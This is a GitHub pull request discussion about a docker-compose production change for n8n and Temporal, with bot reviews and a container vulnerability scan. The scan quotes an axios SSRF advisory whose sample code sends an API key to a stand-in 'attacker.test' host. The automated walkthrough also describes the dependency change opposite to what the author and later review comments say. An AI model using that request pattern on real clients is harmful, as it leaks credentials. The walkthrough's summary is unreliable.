chore(docker): update n8n and Temporal service dependencies in production

[anatolyshipitz]

• Removed PostgreSQL dependency for both n8n and Temporal services in docker-compose.prod.yml.
• Removed the OpenSearch service configuration to streamline the setup further.

These changes enhance the reliability of service dependencies in the production environment.

[coderabbitai]

Walkthrough

The docker-compose.prod.yml file was updated to remove the OpenSearch service and all its associated configurations, including environment variables and persistent volumes. The n8n and temporal services were modified to explicitly declare a dependency on the postgresql service. Environment variables in the temporal service that referenced OpenSearch were also eliminated. No other services or configurations were changed.

Changes

Files/Paths	Change Summary
docker-compose.prod.yml	Removed opensearch service, related environment variables from temporal, and opensearch-data volume. Updated n8n and temporal services to depend on postgresql.

Sequence Diagram(s)

sequenceDiagram
    participant User
    participant n8n
    participant temporal
    participant postgresql

    User->>n8n: Start service
    n8n->>postgresql: Wait for postgresql (depends_on)
    User->>temporal: Start service
    temporal->>postgresql: Wait for postgresql (depends_on)

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Possibly related PRs

• speedandfunction/automatization#11: Introduced the initial production compose file with OpenSearch service and volume, which are now being removed.
• speedandfunction/automatization#16: Also removes OpenSearch service and related environment variables from Docker Compose, updating Temporal dependencies to PostgreSQL.

Suggested reviewers

• DenisChistyakov
• killev

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[sonarqubecloud]

Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
0.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarQube Cloud

[github-actions]

🔍 Vulnerabilities of n8n-test:latest

📦 Image Reference n8n-test:latest

digest	sha256:d6999d22df3b113d90693efce670fd912765b99fae39f475cb6d9e1bc853c8a4
vulnerabilities
platform	linux/amd64
size	243 MB
packages	1628

📦 Base Image node:20-alpine

also known as	20-alpine3.21 20.19-alpine 20.19-alpine3.21 20.19.0-alpine 20.19.0-alpine3.21 iron-alpine iron-alpine3.21
digest	sha256:37a5a350292926f98d48de9af160b0a3f7fcb141566117ee452742739500a5bd
vulnerabilities

stdlib 1.24.0 (golang) pkg:golang/stdlib@1.24.0 Affected range >=1.24.0-0 <1.24.2 Fixed version 1.24.2 EPSS Score 0.015% EPSS Percentile 2nd percentile Description The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext.

axios 1.7.4 (npm) pkg:npm/axios@1.7.4 Server-Side Request Forgery (SSRF) Affected range >=1.0.0 <1.8.2 Fixed version 1.8.2 CVSS Score 7.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P EPSS Score 0.056% EPSS Percentile 18th percentile Description Summary A previously reported issue in axios demonstrated that using protocol-relative URLs could lead to SSRF (Server-Side Request Forgery). Reference: axios/axios#6463 A similar problem that occurs when passing absolute URLs rather than protocol-relative URLs to axios has been identified. Even if ⁠baseURL is set, axios sends the request to the specified absolute URL, potentially causing SSRF and credential leakage. This issue impacts both server-side and client-side usage of axios. Details Consider the following code snippet: import axios from "axios"; const internalAPIClient = axios.create({ baseURL: "http://example.test/api/v1/users/", headers: { "X-API-KEY": "1234567890", }, }); // const userId = "123"; const userId = "http://attacker.test/"; await internalAPIClient.get(userId); // SSRF In this example, the request is sent to http://attacker.test/ instead of the baseURL. As a result, the domain owner of attacker.test would receive the X-API-KEY included in the request headers. It is recommended that: When baseURL is set, passing an absolute URL such as http://attacker.test/ to get() should not ignore baseURL. Before sending the HTTP request (after combining the baseURL with the user-provided parameter), axios should verify that the resulting URL still begins with the expected baseURL. PoC Follow the steps below to reproduce the issue: Set up two simple HTTP servers: mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 & Create a script (e.g., main.js): import axios from "axios"; const client = axios.create({ baseURL: "http://localhost:10001/" }); const response = await client.get("http://localhost:10002/"); console.log(response.data); Run the script: $ node main.js this is server2 Even though baseURL is set to http://localhost:10001/, axios sends the request to http://localhost:10002/. Impact Credential Leakage: Sensitive API keys or credentials (configured in axios) may be exposed to unintended third-party hosts if an absolute URL is passed. SSRF (Server-Side Request Forgery): Attackers can send requests to other internal hosts on the network where the axios program is running. Affected Users: Software that uses baseURL and does not validate path parameters is affected by this issue.

cross-spawn 7.0.3 (npm) pkg:npm/cross-spawn@7.0.3 Inefficient Regular Expression Complexity Affected range >=7.0.0 <7.0.5 Fixed version 7.0.5 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.132% EPSS Percentile 34th percentile Description Versions of the package cross-spawn before 7.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS) due to improper input sanitization. An attacker can increase the CPU usage and crash the program by crafting a very large and well crafted string.

pdfjs-dist 2.16.105 (npm) pkg:npm/pdfjs-dist@2.16.105 Improper Check for Unusual or Exceptional Conditions Affected range <=4.1.392 Fixed version 4.2.67 CVSS Score 8.8 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H EPSS Score 12.781% EPSS Percentile 94th percentile Description Impact If pdf.js is used to load a malicious PDF, and PDF.js is configured with isEvalSupported set to true (which is the default value), unrestricted attacker-controlled JavaScript will be executed in the context of the hosting domain. Patches The patch removes the use of eval: mozilla/pdf.js#18015 Workarounds Set the option isEvalSupported to false. References https://bugzilla.mozilla.org/show_bug.cgi?id=1893645

semver 5.3.0 (npm) pkg:npm/semver@5.3.0 Inefficient Regular Expression Complexity Affected range <5.7.2 Fixed version 5.7.2 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.308% EPSS Percentile 53rd percentile Description Versions of the package semver before 7.5.2 on the 7.x branch, before 6.3.1 on the 6.x branch, and all other versions before 5.7.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range, when untrusted user data is provided as a range.

[coderabbitai]

Actionable comments posted: 0

🧹 Nitpick comments (2)

docker-compose.prod.yml (2)

3-4: Confirm removal of Postgres dependency and fix trailing whitespace
The depends_on: mapping uses !reset null to remove the PostgreSQL dependency for the n8n service—please verify that this syntax correctly unsets the dependency in your Compose version. Also, line 3 has trailing whitespace; please remove it to satisfy the linter.

🧰 Tools

🪛 YAMLlint (1.35.1)

[error] 3-3: trailing spaces

(trailing-spaces)

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15-15: Approve removal of the PostgreSQL service declaration
Resetting the postgresql service with !reset null aligns with the PR objective to externalize the database in production. This change drops the in-repo Postgres service, ensuring an external instance is used.

📜 Review details

Configuration used: CodeRabbit UI
Review profile: CHILL
Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 14d3a4b and 5ac3986.

📒 Files selected for processing (1)

• docker-compose.prod.yml (2 hunks)

🧰 Additional context used

🪛 YAMLlint (1.35.1)

docker-compose.prod.yml

[error] 3-3: trailing spaces

(trailing-spaces)

⏰ Context from checks skipped due to timeout of 90000ms (1)

• GitHub Check: Docker Security Scanning (n8n, Dockerfile.n8n, n8n-test:latest)

🔇 Additional comments (1)

docker-compose.prod.yml (1)

18-19: Confirm removal of Postgres dependency for Temporal service
As with n8n, the depends_on: block for the temporal service has been reset via !reset null. Please verify that this correctly removes the internal dependency and that no residual links to the old service remain.

[killev]

LGTM.